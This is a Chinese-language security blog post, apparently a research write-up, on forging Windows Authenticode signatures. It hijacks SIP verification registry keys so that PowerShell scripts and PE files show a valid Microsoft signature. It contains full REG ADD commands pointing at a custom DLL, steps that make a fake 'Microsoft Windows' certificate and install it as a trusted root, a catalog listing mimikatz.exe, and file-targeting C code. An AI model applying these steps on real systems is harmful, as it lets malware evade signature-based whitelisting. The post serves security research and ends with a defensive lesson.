Authenticode签名伪造——针对文件类型的签名伪造

  1. 0x00 前言
  2. 0x01 简介
  3. 0x02 针对powershell脚本的签名伪造方法
  4. 0x03 针对PE文件的签名伪造方法
  5. 0x04 针对cat文件的签名伪造方法
  6. 0x05 小结

0x00 前言

在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》介绍了针对单一文件的Authenticode签名伪造，需要在文件尾部添加伪造的签名数据，这次将介绍另一种签名伪造方式：通过修改系统的签名获取机制，欺骗系统将正常文件识别为包含签名数据。

注：

本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料，本文将结合自己的经验，整理相关内容，添加个人理解。

参考资料：

https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html

https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view

0x01 简介

本文将要介绍以下内容：

  • 针对powershell脚本的签名伪造方法
  • 针对PE文件的签名伪造方法
  • 针对其他类型文件的签名伪造方法
  • 添加代码实现对特定文件的签名伪造

0x02 针对powershell脚本的签名伪造方法

前提是powershell脚本需要包含一个签名(自己生成的签名会被识别为无效)，下面介绍如何将该无效签名伪造成有效的微软签名

生成测试证书：

makecert -n "CN=Microsoft Windows Test1" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

不需要注册该证书

注：

使用makecert.exe要加参数： -eku 1.3.6.1.5.5.7.3.3

否则提示证书无法用于代码签名，具体错误如下：

Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not suitable for code signing.

如下图

Alt text

给powershell脚本签名：

$cert = Get-PfxCertificate certtest.pfx
Set-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert

验证证书：

Get-AuthenticodeSignature .\1.ps1

提示UnknownError，表示文件签名无效

如下图

Alt text

修改注册表，命令如下：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

再次验证：

Get-AuthenticodeSignature .\1.ps1

显示Valid，签名有效

如下图

Alt text

注：

不同系统下相同名称的文件签名不同

AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033为Matt Graeber测试系统中的notepad.exe签名hash

现在在我们自己的系统进行测试：Win10 x64

分别获取notepad.exe的签名信息：

Get-AuthenticodeSignature c:\windows\system32\notepad.exe

sigcheck -i C:\Windows\System32\notepad.exe

可以发现sigcheck的输出内容中，Thumbprint对应文件签名hash，如下图

Alt text

接下来，将测试系统改为Win7 x86

在Win7下使用Get-AuthenticodeSignature无法获得notepad.exe的签名信息(catalog签名)

如下图

Alt text

但可以通过sigcheck获得，如下图

Alt text

hash为：018B222E21FBB2952304D04D1D87F736ED46DEA4

定位cat文件路径：C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntexe.cat

.cat文件保存格式为ASN.1标准，直接通过记事本无法查看，需要解密，在线网址如下：

https://lapo.it/asn1js/

选择cat文件后即可解密显示完整格式

格式解析可参考：

https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography

将该文件替换PoCSubjectInterfacePackage工程中的MS_cert.bin，重新编译

配置注册表

打开一个新的cmd，查看powershell脚本签名：

Get-AuthenticodeSignature .\1.ps1

同sighcheck获取的hash值保持一致，如下图

Alt text

powershell脚本的Authenticode签名伪造成功

对以上操作直观的理解：

该方法是通过修改系统证书验证过程，使文件将指定的catalog签名作为自己的Authenticode签名

当然，所有带签名的powershell脚本均会统一成hash为018B222E21FBB2952304D04D1D87F736ED46DEA4的签名，这就带来了一个问题：这样会影响正常系统文件的签名校验

我们可以看到，通过这种方式伪造的签名会作用于所有powershell脚本，那么，我们能否针对特定powershell脚本作伪造呢？

以Matt Graeber开源的工程PoCSubjectInterfacePackage作为模板进行修改，下载地址如下：

https://github.com/mattifestation/PoCSubjectInterfacePackage

重点关注函数GetLegitMSSignature，在线地址：

https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138

查看结构SIP_SUBJECTINFO *pSubjectInfo的参数说明，地址如下：

https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx

pwsFileName和pwsDisplayName均能够表示文件名称，所以可通过MessageBox进行验证

函数GetLegitMSSignature内添加如下代码：

MessageBox (NULL, pSubjectInfo->pwsFileName, pSubjectInfo->pwsDisplayName,0);

进行测试，成功获得传入文件名，如下图

Alt text

接下来的思路：

对传入的文件名称进行判断，满足条件的文件加载对应的catalog签名，最终实现对特定文件的签名伪造

筛选文件的代码如下：

if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:\\test\\cer\\1.ps1")==0)
{
    MessageBox (NULL,L"Get selected file", (LPCTSTR)pSubjectInfo->pwsFileName,0) ;   
}

完整代码可参考：

https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c

当前文件为C:\test\cer\1.ps1时，符合条件，进行签名伪造，否则放弃

测试如下图

Alt text

成功实现对特定文件的签名伪造，这种方式的优点是不需要在文件尾部添加Authenticode签名，不改变文件hash

当然，这仅仅是一个POC，还要对系统文件的签名验证做判断

0x03 针对PE文件的签名伪造方法

参考这个列表：

  • C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
  • DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
  • 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
  • C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件

如果替换exe文件的校验，即CryptSIPDllVerifyIndirectData和CryptSIPDllGetSignedDataMsg，命令如下：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

重启explorer.exe，所有的exe文件都包含hash为：018B222E21FBB2952304D04D1D87F736ED46DEA4的签名

特别的地方：伪造的签名来自于cat文件，但是会以Authenticode签名的格式显示，通过文件属性能够看到签名信息(这是Authenticode签名的特性，catalog签名不具有该特性)

同样，修改原工程能够实现针对特定PE文件的签名伪造，方法不再赘述

0x04 针对cat文件的签名伪造方法

如果对所有.cat文件的签名验证过程进行替换，再将其添加到安全编录数据库中，那么，包含catalog签名的PE文件是否也随即获得伪造签名呢？

下面开始测试：

新建文本文档cat.txt，内容如下：

[CatalogHeader]
Name=makecat1.cat
[CatalogFiles]
<hash>ExeFile1=mimikatz.exe

注：

txt文件尾部需要一个空行，否则，在接下来的操作会报错，提示文件无法找到

使用makecat.exe生成makecat1.cat：

makecat -v cat.txt

为makecat1.cat添加伪造的Authenticode签名：

signtool sign /f certtest.pfx /p 123456 makecat1.cat

注：

certtest.pfx不能使用之前手动生成的证书，不能加参数： -eku 1.3.6.1.5.5.7.3.3，否则exe文件的catalog签名将会校验失败

生成certtest.pfx的操作如下：

makecert -n "CN=Microsoft Windows Test1" -r -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f

此处还需要将证书安装到“受信任的根证书颁发机构”存储区

管理员权限：

certmgr.exe -add -c certtest.cer -s -r localmachine root

否则，之后的签名验证会报错，提示证书链不可信

补充：

从“受信任的根证书颁发机构”存储区删除证书的操作为：

(管理员权限)

certmgr.exe -del -c -n "Windows Test1" -s -r localMachine Root

cat文件对应GUID:DE351A43-8E59-11D0-8C47-00C04FC295EE

替换注册表键值：

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f

重启explorer.exe，所有的cat文件签名均为Microsoft Windows

将makecat1.cat添加到系统的安全编录数据库：

(管理员权限)

signtool catdb -v makecat1.cat

最终，发现文件的catalog签名保持不变，无法进行伪造

得出结论： 这种方式无法对catalog签名进行伪造

0x05 小结

本文介绍了Authenticode签名伪造的另一种利用方法：通过修改系统的签名获取机制，欺骗系统将正常文件识别为包含签名数据。

经过这两篇文章的测试，得出最终结论：应谨慎对待系统的Authenticode签名，因为通过修改注册表或dll劫持等方式均能够伪造出微软签名，对此，白名单等防御机制不应盲目相信Authenticode签名过的文件。

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